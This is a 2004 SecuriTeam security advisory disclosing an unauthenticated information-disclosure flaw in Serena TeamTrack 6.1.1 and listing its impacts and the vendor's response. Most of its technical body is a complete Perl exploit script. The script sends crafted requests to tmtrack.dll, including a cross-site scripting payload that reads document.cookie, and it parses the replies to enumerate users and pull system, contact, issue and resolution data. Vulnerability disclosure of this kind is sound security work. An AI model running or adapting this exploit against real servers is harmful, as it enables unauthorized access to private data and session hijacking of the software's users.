

# [NT] Serena Software's TeamTrack Sensitive Content Disclosure

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-07/0078.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 07/21/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 21 Jul 2004 18:35:26 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Serena Software's TeamTrack Sensitive Content Disclosure

---

## SUMMARY

" <<http://www.serena.com/home.asp>> Serena TeamTrack is a Web-architected, secure and highly configurable enterprise process management solution". We have discovered a security flaw with which a remote attacker can disclosure sensitive information off a TeamTrack server without needing to have a valid username/password combination.

## DETAILS

Vulnerable Systems:

\* Serena Software's TeamTrack version 6.1.1

Vendor response:

The last we heard from them was on 8 May 2004 stating:

Thank you for bringing this issue to our attention. We are currently evaluating the issue and will address it as soon as commercially possible.

I am sure that you will agree that while Serena is evaluating this issue and preparing any required fixes, it would be best to keep this information confidential to ensure that Serena's customers are protected.

## Securiteam: [NT] Serena Software's TeamTrack Sensitive Content Disclosure

The vulnerability involves accessing any HTML (dynamically generated) file under the TeamTrack server by requesting it through the LoginPage directive. As the LoginPage directive does not require a user to be logged on, while still processing the data keywords found in the HTML file, an attacker can access sensitive information by accessing key HTML files.

The vulnerability caused by this are:

- 1) Cross Site Scripting (in the case where Cookies are used as the means of authentication, a Cookie stolen could be used to hijack the existing session, NOTE: a third-party user would be required to open a specially crafted URL being sent to him, for this to happen)
- 2) User enumeration
- 3) System Information Disclosure (Product version, Web Server version, Web Server OS, DB Name/Type/Version)
- 4) Contact information (from the Contacts table)
- 5) Issue information (from the Issues table)
- 6) Resolution information (from the Resolution table)

Testing Methodology:

A few months ago Beyond Security built a new module for its Automated Scanning Vulnerability Assessment engine to test web sites and web applications for security vulnerabilities. This module adds the capability to dynamically crawl through a web site and find vulnerabilities in its dynamic pages.

This type of tool was considered to be different from the network VA tools, but we at Beyond Security believe that these two types of tools should be merged into one, and this is what made us incorporate the Web Site Security Audit module to our Automated Scanning engine.

For a press release on this integration see:

<<http://www.beyondsecurity.com/press/2004/press10030402.htm>>

<http://www.beyondsecurity.com/press/2004/press10030402.htm>

White paper on the first integrated network and web application vulnerability scanner: <<http://www.beyondsecurity.com/webscan-wp.pdf>>

<http://www.beyondsecurity.com/webscan-wp.pdf>

Our Automated Scanning engine equipped with the Web Site Security Audit module did all the tests described in this advisory automatically.

Exploit (for all of the above issues):

```
#!/usr/bin/perl
```

```
use IO::Socket;
```

```
if (($#ARGV+1) < 3)
```

```
{
```

```
    print "Serena_hack.pl option host path
```

```
    \t1 - Cross Site Scripting issue
```

```
    \t2 - Enumerate users (First name)
```

```
    \t3 - System information disclosure
```

## Securiteam: [NT] Serena Software's TeamTrack Sensitive Content Disclosure

```
\t4 – Contact name (default is Record ID 1)
\t5 – Name of Issue (default is Record ID 1)
\t6 – Name of Resolution (default is Record ID 1)
";
exit(0);
}

$option = $ARGV[0];
$host = $ARGV[1];
$path = $ARGV[2];

if ($option > 6)
{
print "No such option\n";
exit(0);
}

$remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );

unless ($remote) { die "cannot connect to http daemon on $host" }

print "connected\n";

$remote->autoflush(1);

my $http;

if ($option == 1)
{
$http = "GET
/$path/tmtrack.dll?LoginPage&Template=loginform&Message=<script>alert(document.cookie)</script>
HTTP/1.0

";
# Cookie/Cross Site Scripting
}

if ($option == 2)
{ # Enumerate users
$http = "GET /$path/tmtrack.dll?LoginPage&Template=user HTTP/1.0

";
};

if ($option == 3)
{ # Information disclosure
$http = "GET /$path/tmtrack.dll?LoginPage&Template=about HTTP/1.0

";
}
```

## Securiteam: [NT] Serena Software's TeamTrack Sensitive Content Disclosure

```
if ($option == 4)
{ # Fullname for a certain ID
$RecordID = 1;
$http = "GET
/$path/tmtrack.dll?LoginPage&Template=viewbody&recordid=$RecordID&tableid=38 HTTP/1.0

";
}

if ($option == 5)
{ # Issue name
$RecordID = 1;
$http = "GET
/$path/tmtrack.dll?LoginPage&Template=viewbody&recordid=$RecordID&tableid=41 HTTP/1.0

";
}

if ($option == 6)
{ # Resolution name
$RecordID = 1;
$http = "GET
/$path/tmtrack.dll?LoginPage&Template=viewbody&recordid=$RecordID&tableid=42 HTTP/1.0

";
}

print "HTTP: [$http]\n";
print $remote $http;
sleep(1);
print "Sent\n";

my $display = 1;

if ($option == 2)
{ # Enumerate names
$display = 0;
# No need to display the complete HTML
}

if ($option == 3)
{ # System information disclosure
$display = 0;
}

if ($option == 4 || $option == 5 || $option == 6)
{
$display = 0;
}
```

```
while (<$remote>)
{
if ($option == 2) # Enumerate names
{
if (/<OPTION VALUE=([^\>]+)>([^\<]+)<\OPTION>/)
{
print "ID: $1, Name: $2\n";
}
}

if ($option == 3)
{
if (/<input type="hidden" name="Product_Version.*" value="[ ]+([^\"]+)"\/)
{
print "Product version: $1\n";
}
if (/<input type="hidden" name="WebServer.*" value="[ ]+([^\"]+)"\/)
{
print "Web Server version: $1\n";
}
if (/<input type="hidden" name="WebServer_OS.*" value="[ ]+([^\"]+)"\/)
{
print "Server version: $1\n";
}
if (/<input type="hidden" name="DBMS.*" value="[ ]+([^\"]+)"\/)
{
print "Database version: $1\n";
}
}

if ($option == 4)
{
if (/Contact Details<\span> - ([^\<]+)</g)
{
print "Full name: $1\n";
}
}

if ($option == 5)
{
if (/Problem Details<\span> - ([^\<]+)</g)
{
print "Issue name: $1\n";
}
}

if ($option == 6)
{
if (/Resolution Details<\span> - ([^\<]+)</g)
{
print "Resolution name: $1\n";
}
}
}
```

```
}  
}  
  
if ($display)  
{  
  print $_;  
}  
}  
print "\n";  
  
close $remote;
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:expert@securiteam.com> Noam Rathaus.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@securiteam.com  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====  
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.